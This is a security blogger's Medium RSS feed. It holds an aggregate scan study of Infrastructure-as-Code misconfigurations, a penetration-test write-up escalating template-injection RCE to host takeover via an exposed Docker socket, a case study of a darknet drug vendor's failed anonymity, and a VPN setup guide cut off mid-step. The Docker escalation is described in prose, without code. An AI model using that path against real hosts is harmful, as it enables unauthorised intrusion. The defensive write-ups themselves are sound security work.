<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Sethu Satheesh on Medium]]></title>
        <description><![CDATA[Stories by Sethu Satheesh on Medium]]></description>
        <link>https://medium.com/@S3THU?source=rss-85be55e59fb3------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*zGPd9iXVPfvCOofdupYIdg.jpeg</url>
            <title>Stories by Sethu Satheesh on Medium</title>
            <link>https://medium.com/@S3THU?source=rss-85be55e59fb3------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Mon, 30 Nov 2026 09:03:20 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@S3THU/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[I scanned 8,869 public GitHub repositories that actually deploy cloud infrastructure: Measuring…]]></title>
            <link>https://medium.com/@S3THU/i-scanned-8-869-public-github-repositories-that-actually-deploy-cloud-infrastructure-measuring-42c25ccc98bf?source=rss-85be55e59fb3------2</link>
            <guid isPermaLink="false">https://medium.com/p/42c25ccc98bf</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[research]]></category>
            <category><![CDATA[aws]]></category>
            <category><![CDATA[infrastructure-as-code]]></category>
            <dc:creator><![CDATA[Sethu Satheesh]]></dc:creator>
            <pubDate>Thu, 12 Nov 2026 06:00:27 GMT</pubDate>
            <atom:updated>2026-11-12T06:00:27.975Z</atom:updated>
            <content:encoded><![CDATA[<h3>I scanned <strong>8,869 public GitHub repositories that actually deploy cloud infrastructure: </strong>Measuring Security Misconfigurations in Real-World Infrastructure-as-Code</h3><p>Read from my website: <a href="https://www.sethusatheesh.space/research/iac-exposure">https://www.sethusatheesh.space/research/iac-exposure</a></p><p><strong>TL;DR: </strong>I scanned <strong>8,869 public GitHub repositories that actually deploy cloud infrastructure</strong> , no tutorials, no toy projects, no reusable modules for security misconfigurations and hard-coded secrets. <strong>68% ship at least one critical or high-severity cloud misconfiguration.</strong> More than half publicly expose storage or compute. And 33 repositories leaked <strong>live, working credentials</strong> — MongoDB, AWS, Azure, Postgres, an AI provider key, even a private key — all confirmed valid at scan time. This is the Infrastructure-as-Code supply chain, and it is leaking by default.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4ClDMr6dhspgm5_D--q6Bg.png" /></figure><h3>1. Why I went looking</h3><p>A few months ago I read <a href="https://arxiv.org/abs/2603.12498"><em>Keys on Doormats: Exposed API Credentials on the Web</em></a>. It measured how often live API credentials sit exposed in rendered web pages. Great paper, and it got me thinking about the <strong>other end of the pipe</strong>.</p><p>The web study looks at the <em>symptom</em>: a secret that ended up in a JavaScript bundle. I wanted the <strong>cause side </strong>— the Infrastructure-as-Code that <em>builds </em>the cloud. Terraform, CloudFormation, Kubernetes manifests: the code that decides whether a bucket is public, whether a database is encrypted, whether a security group is open to the whole internet.</p><p>If that code is wrong, the cloud is wrong before a single byte of application data exists. So: <strong>how often is real, in-use IaC actually misconfigured?</strong></p><h3>2. The one decision that makes or breaks this study</h3><p>Here’s the trap. Search GitHub for Terraform, scan everything, and you get a huge, impressive, <strong>meaningless</strong> number — because the results are dominated by tutorials, bootcamp exercises, hello-world demos, reusable modules (libraries, not deployments), and abandoned experiments.</p><p>Saying “78% of Terraform on GitHub is misconfigured” when most of it is teaching material isn’t research — it’s a headline with no spine. The peer-reviewed studies say it plainly: <strong>GitHub stars are a weak relevance signal.</strong></p><p>So the core of the method is a <strong>qualification filter</strong>. A repository is counted only if it looks like <strong>real-deployment infrastructure</strong>:</p><ul><li>It contains real Terraform — actual <em>provider </em>and <em>resource </em>blocks, not variable stubs.</li><li>It shows <strong>deployment evidence</strong> — at least one of: a <strong>remote-state backend</strong> (S3/azurerm/gcs/Terraform Cloud), <strong>CI that runs terraform apply/plan</strong>, or an <strong>environments / tfvars</strong> layout.</li><li>It is <strong>not</strong> a fork, archived repo, tutorial/demo/course, or reusable module.</li><li>It was <strong>pushed recently</strong> (actively maintained).</li></ul><p>Everything that fails is discarded <em>before</em> it touches a single percentage. <strong>The denominator is 8,869 repositories that genuinely stand up cloud infrastructure.</strong> That’s what makes the rest honest.</p><h3>3. How the scan works</h3><p>The pipeline is deliberately boring and reproducible:</p><p><strong><em>search (GitHub) → qualify (clone + deployment check) → scan → store → analyze</em></strong></p><ul><li><strong>Search:</strong> GitHub caps results at 1,000 per query, so I slice the space into thousands of narrow queries (base × star-band × creation-date) and union them.</li><li><strong>Qualify:</strong> each candidate is shallow-cloned and run through the deployment filter above.</li><li><strong>Scan:</strong> two static analyzers run locally: <strong>Trivy</strong> (Aqua/ex-tfsec rules) for misconfigurations, <strong>TruffleHog</strong> for hard-coded secrets, with <strong>verification on</strong> (it confirms whether a secret is actually <em>live</em>).</li><li><strong>Store &amp; analyze:</strong> findings land in SQLite; a local panel renders the views.</li></ul><p><strong>The filter that matters most — what counts as a “real issue”:</strong> a scanner reports a thousand findings per repo, most of them hygiene (missing tags, “use a customer-managed key,” unrestricted <em>*egress*</em>, seccomp). Counting that inflates everything. So every finding is classified into an impact category or dropped as noise. Only genuine exposure counts:</p><ul><li><strong>Public exposure</strong> — storage/compute reachable from the internet</li><li><strong>Open ingress</strong> — security groups allowing unrestricted inbound (`0.0.0.0/0`)</li><li><strong>Unencrypted data</strong> — stores/volumes without encryption at rest</li><li><strong>Over-permissive IAM</strong> — wildcard / admin policies</li><li><strong>Public database</strong> — databases exposed to the internet</li></ul><p>Out of ~504,000 raw findings, <strong>442,151 (88%) were filtered out as noise. </strong>What remains — <strong>62,047 findings</strong> — is genuine, impactful exposure.</p><h3>4. What I found</h3><h4>4.1 The headline</h4><p>Of <strong>8,869</strong> real-deployment repositories:</p><ul><li><strong>5,994 (68%)</strong> contain at least one <strong>critical or high-severity </strong>misconfiguration.</li><li>Only <strong>2,875 (32%)</strong> are clean.</li><li>Misconfigured repos average <strong>~10 real issues each</strong>.</li></ul><p><strong>Two out of three real-world infrastructure repositories ship a serious cloud misconfiguration.</strong></p><h4>4.2 What they expose</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*O0trzVLsuNb9kDeS7unfjg.png" /></figure><ul><li><strong>Public exposure — 51.9% of repos</strong> (4,604). More than half expose something to the internet.</li><li><strong>Unencrypted data — 33.5%</strong> (2,972).</li><li><strong>Open ingress (`0.0.0.0/0`) — 30.2%</strong> (2,675).</li><li><strong>Over-permissive IAM — 2.9%</strong> (260) — a <em>floor</em>; static IAM analysis is conservative.</li></ul><h4>4.3 How bad, per repo</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*V0IZ4nZ8N8AVrnBy_eS3uQ.png" /></figure><ul><li>0 issues (clean): <strong>2,875</strong></li><li>1–2: <strong>1,929</strong></li><li>3–5: <strong>1,840</strong></li><li>6–15: <strong>1,497</strong></li><li><strong>16+: 728</strong> repositories carry sixteen or more distinct serious exposures each.</li></ul><h4>4.4 The mistakes that repeat</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3svMHJa9oOGKprkLf_k4Pw.png" /></figure><p>The long tail collapses into a few recurring patterns (by repos affected):</p><ul><li>Compute instances with <strong>unencrypted block devices</strong> — ~2,370</li><li>Instances <strong>auto-assigned public IPs</strong> — ~2,561</li><li>Security groups with <strong>unrestricted inbound</strong> — ~1,704</li><li><strong>S3 public-access block</strong> missing/incomplete — ~1,570</li><li><strong>EKS</strong> clusters with a public endpoint / open CIDR — ~1,150</li><li>Unencrypted messaging (SNS) topics — ~633</li></ul><p>By cloud: <strong>AWS 50,874 · Azure 6,198 · GCP 4,195 · Kubernetes 571 </strong>findings. AWS dominates because it dominates the sample — but the pattern (public, unencrypted, open <em>by default</em>) repeats everywhere.</p><h4>4.5 Who’s worse — companies or individuals?</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/865/1*n4IxUmwhnZPNLsuG0pgmOQ.png" /></figure><ul><li><strong>Individuals: 71.0% misconfigured</strong> (5,071 of 7,144)</li><li><strong>Organizations: 53.5% misconfigured</strong> (923 of 1,725)</li></ul><p>Organizations do measurably better, but a 53.5% rate for company-owned infrastructure code is not reassuring. (In an early 20-repo pilot this ratio looked <em>reversed</em>. Small samples lie. It took ~9,000 repos to see the real signal, which is exactly why sample size and a clean denominator matter.)</p><h4>4.6 The part that should worry you: live secrets</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bQMS6HdLrLOw6DKJBh0aRQ.png" /></figure><p>With verification on, TruffleHog confirmed <strong>33 credentials that were live at scan time</strong>, hard-coded into public infrastructure code:</p><ul><li>MongoDB — 10</li><li>xAI (AI provider key) — 8</li><li>Azure — 6</li><li>Private key — 2</li><li>New Relic (user key) — 2</li><li>AWS — 1 · Datadog — 1 · New Relic (license) — 1 · Postgres — 1 · Telegram bot — 1</li></ul><p>These were <strong>working keys</strong>, in plaintext, in public repositories, reachable by anyone. <strong>I did not use, store, or publish any of them</strong> — they’re being handled through responsible disclosure.</p><h3>5. Why this keeps happening</h3><ul><li><strong>Insecure defaults, inverted.</strong> In much of IaC, <em>not writing a line</em> means “public,” “unencrypted,” “open.” Security is opt-in.</li><li><strong>Copy-paste provenance.</strong> Production Terraform often descends from a tutorial snippet that was meant to <em>work</em>, not to be secure.</li><li><strong>No gate.</strong> These are trivially detectable by a scanner in seconds. Reaching a deployed state means <strong>nothing scanned the code first.</strong></li><li><strong>Secrets for convenience.</strong> Hard-coding a key is the fastest thing today and the slowest disaster to notice.</li></ul><h4>6. What to actually do about it</h4><p>1. <strong>Put a scanner in CI and fail the build on critical/high.</strong> Trivy or Checkov, five minutes. This one gate catches the overwhelming majority of these issues before deploy.</p><p>2. <strong>Flip the defaults explicitly</strong> — block public access on every bucket, encrypt every volume/DB/topic, default ingress to deny.</p><p>3. <strong>Never hard-code a secret</strong> — use a secret manager or OIDC; add a secret scanner to pre-commit <em>and</em> CI.</p><p>4. <strong>Assume git history is forever</strong> — rotate exposed secrets, don’t just delete.</p><p>5. <strong>If you’re an org:</strong> make the scan a <em>required</em> status check, not a suggestion.</p><h4>7. Ethics and responsible disclosure</h4><p>This study reads <strong>only public source code</strong> and runs static analyzers locally. It never touches any live cloud account, bucket, or endpoint, and it never <em>uses</em> a discovered credential.</p><ul><li>All statistics are <strong>aggregate</strong>. I name <strong>no repositories</strong> and publish <strong>no secret values</strong>.</li><li>The 33 live credentials are being <strong>responsibly disclosed</strong> to owners and providers (who can revoke them) and relevant CERT channels, then the collected secrets are destroyed.</li><li>Verification was limited to non-destructive liveness checks within an authorized research scope.</li></ul><h4>8. Limitations</h4><ul><li><strong>Population:</strong> public, real-deployment IaC on GitHub. Private enterprise repos aren’t represented.</li><li><strong>Static only:</strong> latest commit; module-injected/runtime values and buried-in-history secrets can be missed.</li><li><strong>Detection coverage:</strong> findings are only as complete as the rule set (IAM especially is under-counted). The numbers are a <strong>floor</strong>.</li><li><strong>Qualification is a heuristic:</strong> “real-deployment” is inferred from strong signals; I erred toward precision.</li></ul><p>None of these move the core finding: <strong>most real-world infrastructure code ships insecure, for reasons a five-minute CI gate would fix.</strong></p><h4>9. Conclusion</h4><p>I spend enormous effort securing applications and almost none securing the code that builds the ground they stand on. 8,869 real deployments later: <strong>public by default, unencrypted by default, open by default — and occasionally, the keys are checked in too.</strong></p><p>The fix isn’t new technology. It’s a gate nobody turned on.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=42c25ccc98bf" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[From Application RCE to Full Host Takeover via Docker Socket Misconfiguration]]></title>
            <link>https://medium.com/@S3THU/from-application-rce-to-full-host-takeover-via-docker-socket-misconfiguration-7f8db4865c2a?source=rss-85be55e59fb3------2</link>
            <guid isPermaLink="false">https://medium.com/p/7f8db4865c2a</guid>
            <category><![CDATA[docker]]></category>
            <category><![CDATA[devops]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[pentesting]]></category>
            <dc:creator><![CDATA[Sethu Satheesh]]></dc:creator>
            <pubDate>Mon, 06 Jul 2026 03:31:00 GMT</pubDate>
            <atom:updated>2026-07-06T03:31:00.829Z</atom:updated>
            <content:encoded><![CDATA[<h4><strong>A real-world penetration test of a containerized SaaS application hosted at </strong><strong>something.example.com</strong></h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*M_fjCKRLWNSTMUtU8I3LZA.png" /></figure><blockquote><em>No sensitive production data is included in this write-up, and technical details have been generalized for responsible disclosure.</em></blockquote><h3>Introduction</h3><p>In modern cloud-native applications, containerization has become the default deployment model. Docker provides strong isolation between applications and the underlying host system, making it appear as though each service runs in a sandboxed environment.</p><p>However, as with any abstraction layer, the security of the system depends heavily on configuration choices made during deployment.</p><p>This write-up describes a real penetration test performed on https://something.example.com, a web application deployed inside a Docker container environment. While the initial architecture appeared secure and isolated, a subtle misconfiguration involving the Docker socket ultimately led to full host compromise.</p><p>Of course, Docker itself is not insecure. It provides strong isolation through namespaces, cgroups, and layered filesystem architecture. However, misconfigurations especially those involving access to the Docker daemon can completely break this isolation model.</p><h3>Initial Access</h3><p>While exploring the application surface, attention was drawn to a feature that allowed users to generate custom reports from structured input. The functionality enabled users to define dynamic content blocks, which were later processed server-side to render downloadable documents in PDF format.</p><p>During testing, different input patterns were supplied to understand how the rendering pipeline handled user-controlled values. It was observed that certain inputs were not rendered as static text but were instead processed by the backend rendering engine before document generation.</p><p>This behavior became more evident when the generated output began reflecting evaluated results rather than literal input values. For example, arithmetic and object-based expressions embedded within the input were processed by the backend rendering engine instead of being safely escaped, indicating that user-controlled data was being interpreted within the rendering context.</p><p>To further understand the extent of this behavior, additional test inputs were supplied to probe the rendering sandbox. Simple arithmetic expressions confirmed evaluation at runtime, while object traversal patterns indicated access to backend runtime objects exposed by the template context.</p><p>At this stage, controlled probing was performed to determine whether the evaluation context was strictly mathematical or extended into system-level execution capabilities. This included attempts to access runtime environment variables and system properties exposed through the rendering engine.</p><p>It was during this phase that the behavior transitioned beyond simple expression evaluation. Certain inputs resulted in responses that reflected underlying system-level execution context rather than computed values. For example, injected expressions began returning environment-level information such as process context and execution metadata, indicating that the sandbox boundaries were not properly enforced.</p><p>Building on this observation, further input manipulation was performed to evaluate the boundaries of the rendering context. While initial tests confirmed expression evaluation and access to runtime objects, subsequent probing focused on determining whether the evaluation context extended beyond sandboxed expression handling into system-level interaction.</p><p>This was validated when certain inputs began producing responses that reflected runtime system behavior rather than computed expression results. These responses included indicators consistent with process-level execution context, confirming that the sandbox boundaries were not properly enforced.</p><p>Following this, controlled inputs were used to test system interaction capabilities exposed through the rendering engine. This resulted in successful execution of operating system commands within the container environment, confirmed through standard diagnostic commands such as id, whoami, and pwd.</p><p>At this stage, full command execution capability inside the application container was achieved, effectively providing a low-privileged shell within the application environment.</p><p>At this stage, the impact was still limited:</p><ul><li>Execution was constrained to the application container</li><li>No direct access to host resources</li><li>No visibility into underlying infrastructure</li></ul><p>From a traditional security perspective, this would typically be categorized as: <em>Application-level compromise inside a containerized environment</em></p><p>At this point, containment still held or at least it appeared to.</p><p><strong>Why RCE Alone Was Not the Final Impact ?<br>The Answer is: </strong>At this stage, the impact was limited to execution within the application container. While this already indicated a serious security issue, container-level execution does not inherently imply host-level compromise in properly configured environments. The application was still constrained by Linux namespaces and Docker isolation, meaning any further impact would depend on whether the container had access to sensitive runtime interfaces or misconfigurations beyond the application layer. In other words, gaining code execution inside a container is a <strong>foothold</strong>, not the final objective in a properly hardened environment. The actual security impact depends on what privileged interfaces the container is able to access.</p><h3>The Unexpected Discovery of Docker Socket Exposure</h3><p>During routine filesystem and environment enumeration of the container, attention was given to mounted volumes, process context, and runtime sockets, including mounted filesystems, environment variables, and process capabilities. There, an unusual file immediately stood out: <strong><em>/var/run/docker.sock</em></strong></p><p>This is not a regular file within a container.</p><p>It is the <strong>Unix socket used to communicate with the Docker daemon running on the host system</strong>.</p><p>In simple terms, this socket acts as a direct communication channel to the Docker engine itself — the component responsible for creating, managing, and controlling containers on the host.</p><p>At this point, the security boundary shifted significantly.</p><p>What was supposed to be: <em>Isolated application container </em>effectively became <em>a container with access to the host’s container runtime control interface</em></p><h3>Understanding the Impact Shift</h3><p>In a properly configured environment, containers should never have access to the Docker daemon of the host system.</p><p>The reason is simple: <em>The Docker daemon runs with elevated privileges on the host and is capable of managing system-level resources.</em></p><p>This means that any process with access to the Docker socket is effectively communicating with a <strong>root-level service on the host machine</strong>.</p><p>From an attacker’s perspective, the situation changed fundamentally:</p><p>Instead of attempting container escape techniques or kernel exploitation, there was now a direct interface into the host’s management layer itself.</p><p>At this stage, the attack surface was no longer the application — it was the Docker daemon.</p><h3>From Container Compromise to Host Control</h3><p>With code execution already achieved inside the container, interaction with the Docker socket became possible.</p><p>Since the socket exposes the Docker API locally, it can be accessed using standard HTTP requests over a Unix domain socket or via Docker CLI commands (if available inside the container).</p><p>This effectively allows the compromised container to:</p><ul><li>Query running containers across the host</li><li>Create new containers</li><li>Modify runtime configurations</li><li>Mount host filesystem paths</li><li>Launch privileged workloads</li></ul><p>At this point, the container boundary no longer provides meaningful isolation.</p><p>The Docker daemon itself becomes the control plane.</p><h3>Full Host Takeover</h3><p>Once the Docker daemon is under control, the implications are critical.</p><p>Since the daemon operates with high privileges on the host system, it can be instructed to launch new containers with elevated permissions or mount sensitive host directories.</p><p>This leads to a complete breakdown of isolation:</p><ul><li>Host filesystem becomes accessible</li><li>Sensitive system files can be read</li><li>Privileged containers can be spawned</li><li>Full administrative control over the host becomes possible</li></ul><p>What initially began as an application-level vulnerability ultimately escalated into full infrastructure compromise.</p><p>This is one of the most critical misconfigurations in containerized environments: <em>Treating the Docker socket as a harmless internal file instead of a privileged control interface.</em></p><h3>Root Cause</h3><p>The root cause of this escalation was not the application vulnerability alone, but a critical architectural misconfiguration: <em>Exposure of </em><em>/var/run/docker.sock inside an untrusted application container.</em></p><p>This effectively granted the application container indirect administrative access to the host system.</p><p>In secure container deployments, this socket should never be exposed to workloads that are not fully trusted.</p><h3>Mitigation: Controlled Docker Access Layer</h3><p>To prevent scenarios like this, direct access to the Docker socket should be strictly avoided in production environments.</p><p>Instead, organizations can introduce a controlled intermediary layer between application containers and the Docker daemon.</p><p>One such approach is the use of a <strong>controlled intermediary proxy layer</strong> (such as Tecnalloy-style implementations).</p><h3>Secure Architecture Model</h3><p>Instead of:</p><pre>Compromised Container → docker.sock → Docker Daemon → Host Control</pre><p>A secure design would enforce:</p><pre>Compromised Container → Controlled Proxy → Restricted API → Docker Daemon</pre><p>This proxy layer ensures:</p><ul><li>Only explicitly allowed operations are executed</li><li>Privileged container creation is blocked</li><li>Host filesystem mounting is restricted</li><li>All actions are logged and monitored</li><li>No direct access to Docker daemon is exposed</li></ul><p>Even if the application is fully compromised, the attacker is restricted to a predefined set of safe operations.</p><h3>Key Takeaway</h3><p>Container security does not depend only on isolation mechanisms provided by the runtime.</p><p>It also depends heavily on what the container is allowed to interact with.</p><p>The presence of Docker socket access fundamentally changes the security model from: <em>“Isolated execution environment” </em>to <em>“Indirect control interface to the host system”</em></p><h3>Conclusion</h3><p>This assessment highlights how a single misconfiguration can escalate a seemingly contained application vulnerability into a full infrastructure compromise.</p><p>While Docker provides strong isolation by design, that isolation can be completely bypassed when the Docker daemon itself is exposed to untrusted workloads.</p><p>In modern cloud environments, security is not just about isolating applications, it is about strictly controlling access to system-level interfaces.</p><p>And in this case, that control was unintentionally handed over.</p><p>Thanks for reading.<br><strong>Happy hacking !</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7f8db4865c2a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Myth of Digital Anonymity (Case Study): India’s Most Sophisticated Darknet Drug Kingpin Still…]]></title>
            <link>https://medium.com/@S3THU/the-myth-of-digital-anonymity-case-study-indias-most-sophisticated-darknet-drug-kingpin-still-0a3e8075b3f9?source=rss-85be55e59fb3------2</link>
            <guid isPermaLink="false">https://medium.com/p/0a3e8075b3f9</guid>
            <category><![CDATA[cybercrime]]></category>
            <category><![CDATA[digital-forensics]]></category>
            <category><![CDATA[cryptocurrency]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[darkweb]]></category>
            <dc:creator><![CDATA[Sethu Satheesh]]></dc:creator>
            <pubDate>Thu, 09 Apr 2026 17:14:24 GMT</pubDate>
            <atom:updated>2026-04-09T17:14:24.726Z</atom:updated>
            <content:encoded><![CDATA[<h3>The Myth of Digital Anonymity (Case Study): India’s Most Sophisticated Darknet Drug Kingpin Still Got Busted</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/777/1*_w9sJV85HAqxslxxTUei6A.jpeg" /></figure><p>First of all, this isn’t one of my classic hacking walkthroughs, this is a real-world cybercrime case study, where we peel back the layers of a darknet empire and see how even the most advanced digital cloaks eventually unravel.</p><p><strong>Edison Babu</strong>, a 35-year-old engineer from Kerala ran a two-year darknet drug empire under the alias <strong>“Ketamelon,”</strong> India’s only “Level-4” darknet vendor, the highest possible tier for reliability, potency, and technical stealth<strong>, </strong>lived a double life that would rival a <strong>techno-thriller</strong>. He sold large quantities of LSD and ketamine across the country, using cutting-edge tools: a live-boot privacy OS (Tails), the privacy coin Monero, and PGP encryption for all communications. Yet in July 2025 India’s Narcotics Control Bureau (NCB) dismantled his operation (<strong>Operation MELON</strong>) by blending traditional forensics with blockchain analysis.</p><p>His setup was the gold standard of digital anonymity: he used <strong>Tails OS</strong> to leave no trace on his hardware, <strong>Monero</strong> to mask his wealth, and <strong>PGP</strong> to shield his conversations. Yet, in July 2025, the Narcotics Control Bureau (NCB) dismantled his empire in <strong>Operation MELON</strong>.</p><p>If you think the Darknet, Crypto, or Tails OS make you a ghost, the <strong>Ketamelon case</strong> is a sobering reality check. His story illustrates that even “unbreakable” security measures can fail when integrated with real-world actions. Here is how the most sophisticated digital armor in the world was cracked.</p><h3>1. The Tails OS Illusion: No Trace Doesn’t Mean No Evidence</h3><p>Edison relied on “Live” operating systems, specifically Tails (The Amnesic Incognito Live System) to avoid leaving digital footprints. These systems boot from a USB stick and run entirely in the computer’s RAM. The moment the power goes out, the data vanishes. No logs, no history, no footprints, so on theory they leave <em>no trace</em> on disks.</p><p><strong>How it broke:</strong> Operational Security is only as strong as the physical perimeter. During the raid on his residence, the NCB didn’t just find a computer; they seized the physical <strong>OS pen drive</strong>, hard disks, and hardware wallets . Digital forensics teams can often recover “unencrypted” fragments from RAM if a device is seized while running, or they can use physical evidence (like written-down recovery seeds or login patterns) to bridge the gap . Once the “live” environment was in police hands, it was no longer a shield, it was a map.</p><h3>2. The Monero Paradox: Privacy Coins vs. The “On-Off Ramp”</h3><p>Ketamelon exclusively used <strong>Monero (XMR)</strong> for customer payments. Unlike Bitcoin, Monero uses ring signatures and stealth addresses to hide the sender, receiver, and amount. On the blockchain, these transactions are essentially invisible.</p><p><strong>How it broke:</strong> Criminals often forget that you can’t buy a shopping complex with Monero, you need “real” money (fiat). To cash out his profits, he had to move funds through <strong>centralized exchanges like Binance</strong>.</p><p>Even with privacy-focused coins, investigators identified a “pseudo-banking trail”. By collaborating with Binance’s Global Financial Intelligence Unit, the NCB traced fund flows that had been “swapped” or layered through multiple currencies. The moment his illicit crypto touched an exchange account linked to a real-world identity (KYC), his anonymity was compromised. The NCB eventually froze over ₹1.50 crore in assets, including ₹70 lakh in a hardware wallet. Blockchain’s immutable ledger allowed tracing once linked to exchange IDs n the digital side, blockchain analysis traced Monero and USDT transactions</p><h3>3. The PGP Trap: Encryption is Not a Cure-All</h3><p>Edison used <strong>PGP (Pretty Good Privacy)</strong> to encrypt every message with his buyers and suppliers. PGP is mathematically near-impossible to “crack” in the traditional sense while a message is in transit.</p><p><strong>How it broke:</strong> The NCB didn’t need to break the math; they broke the <strong>endpoint</strong>. When investigators seized his hardware, they likely recovered his <strong>PGP private keys</strong> or unencrypted chat logs directly from his hard drives. Encryption protects data while it moves, but if the keys to the lock are sitting on a desk in his house, the lock is useless. Furthermore, law enforcement also collected network metadata (e.g. IP logs, Tor gateway patterns) to place him at the scenes of transactions. In short, the math of PGP wasn’t broken<strong>, the endpoint was. </strong>As a Binance executive observed, criminals may operate “in the shadows” with privacy tools, but they inevitably leave traces. Once an endpoint or key is compromised, the whole chain of encrypted messages can be read.</p><h3>4. The “Postal Loophole” That Became a Noose</h3><p>Edison’s biggest vulnerability wasn’t digital, it was physical. To sell drugs, you have to ship them. He exploited the sheer volume of the Indian postal system, sending over 600 parcels in 14 months. He used forged Aadhaar and PAN cards to book shipments under fake names.</p><p><strong>How it broke:</strong> The investigation actually began with <strong>traditional intelligence</strong>. Customs officials at the Kochi International Post Office intercepted three suspicious parcels containing 280 LSD blots. Forensic analysis of the packaging, combined with surveillance of the darknet traffic used to coordinate the orders, allowed the NCB to work backward from the physical package to the digital mastermind.</p><h3>The Verdict: OPSEC is a Spectrum, Not a Shield</h3><p>The <strong>Ketamelon case</strong> proves that there is no such thing as 100% anonymity. Edison did everything “right” by the handbook of digital crime:</p><ul><li><strong>OS:</strong> Tails/KITES (Amnesic)</li><li><strong>Money:</strong> Monero (Privacy-focused)</li><li><strong>Comms:</strong> PGP (End-to-end encrypted)</li></ul><p>But he failed because he had to interact with the real world. He needed the <strong>postal system</strong> to deliver his product and <strong>centralized exchanges</strong> to spend his money.</p><p>The lesson for the digital age is clear: Technology can mask your identity, but your <strong>behavior</strong> leaves a trail. In the world of high-tech forensics, the digital trail is never truly erased, it’s just waiting for the right investigator to piece the mosaic together.</p><p><strong>Happy Trafficking ! Sorry, I meant Happy Hacking. Stay sharp out there.</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0a3e8075b3f9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Build a Lifetime-Free VPN & Ad Blocker for your personal use]]></title>
            <link>https://medium.com/@S3THU/build-a-lifetime-free-vpn-ad-blocker-for-your-personal-use-ae53dbab0804?source=rss-85be55e59fb3------2</link>
            <guid isPermaLink="false">https://medium.com/p/ae53dbab0804</guid>
            <category><![CDATA[gcp]]></category>
            <category><![CDATA[hosting]]></category>
            <category><![CDATA[vpn]]></category>
            <category><![CDATA[vpn-server]]></category>
            <category><![CDATA[ad-blocking]]></category>
            <dc:creator><![CDATA[Sethu Satheesh]]></dc:creator>
            <pubDate>Wed, 25 Mar 2026 17:04:31 GMT</pubDate>
            <atom:updated>2026-03-25T17:04:31.403Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Hu1EW20G4Vmu3qFxjienkw.png" /></figure><p><strong>Stop paying for commercial VPNs. Here is a step-by-step guide to building a private VPN + Ad Blocker for your private use for exactly $0.00.</strong></p><p>If you are paying $5 to $15 a month for a commercial VPN, you are likely overpaying for a service that might be quietly logging your telemetry data. Even worse, most commercial VPNs don’t actually block ads or malware at the network level, they just mask your IP address.</p><p>A better solution is a completely private, high-speed VPN coupled with an aggressive DNS sinkhole to block ads, trackers, and malware across all my devices. And I wanted it for free. forever.</p><p><strong>In this guide, I will show you how to build your own lifetime-free WireGuard VPN and AdGuard Home DNS server using Google Cloud Platform’s (GCP) “Always Free” tier.</strong></p><h3>The Architecture</h3><ul><li><strong>The Server:</strong> GCP e2-micro instance (100% free for life in selected regions).</li><li><strong>The Tunnel:</strong> WireGuard (State-of-the-art, lightweight, and blazingly fast).</li><li><strong>The Sinkhole:</strong> AdGuard Home (Blocks ads and telemetry before they even reach your phone or laptop).</li></ul><p><strong>Let’s Build It:</strong></p><h3>Step 1: Claim Your Free Cloud Server</h3><p>Google Cloud offers an “Always Free” tier that includes an e2-micro instance. This is more than enough power to run a personal VPN.</p><ol><li>Create a GCP account and navigate to <strong>Compute Engine</strong> -&gt; <strong>VM instances</strong>.</li><li>Click <strong>Create Instance</strong>.</li><li><strong>Region:</strong> You <em>must</em> select <strong>us-east1</strong>, <strong>us-west1</strong>, or <strong>us-central1</strong> to qualify for the free tier.</li><li><strong>Machine Type:</strong> Select <strong>e2-micro</strong>.</li><li><strong>Boot Disk:</strong> Change the OS to <strong>Ubuntu 22.04 LTS</strong> (or 24.04) and set the disk size to <strong>30 GB</strong> (the maximum free limit).</li><li>Under Firewall, check <strong>Allow HTTP</strong> and <strong>Allow HTTPS</strong>.</li><li>Click <strong>Create</strong>.</li></ol><p><strong>Crucial Firewall Step:</strong> Go to the GCP search bar and type <strong>Firewall</strong>. Create a new firewall rule to allow WireGuard traffic. Name it allow-wireguard, set Targets to &quot;All instances in the network&quot;, set Source IPv4 ranges to 0.0.0.0/0, check <strong>UDP</strong>, and enter a custom port like <strong>52860</strong>. Click Create.</p><p><strong>Note: </strong>Always make sure that the <em>Network tier </em>is set to <em>standard </em>not <em>Premium. </em>Because <em>Standard tier </em>offers <strong>200GB exgress data </strong>for free meanwhile <em>premium </em>tier gives you only <strong>2GB exgress data</strong>.</p><h3>Step 2: Install WireGuard</h3><p>Once your server is running, go back to your VM Instances page and click the <strong>SSH</strong> button next to your server to open a browser terminal.</p><p>We will use an incredible open-source automation script to install WireGuard. Run these commands one by one in your 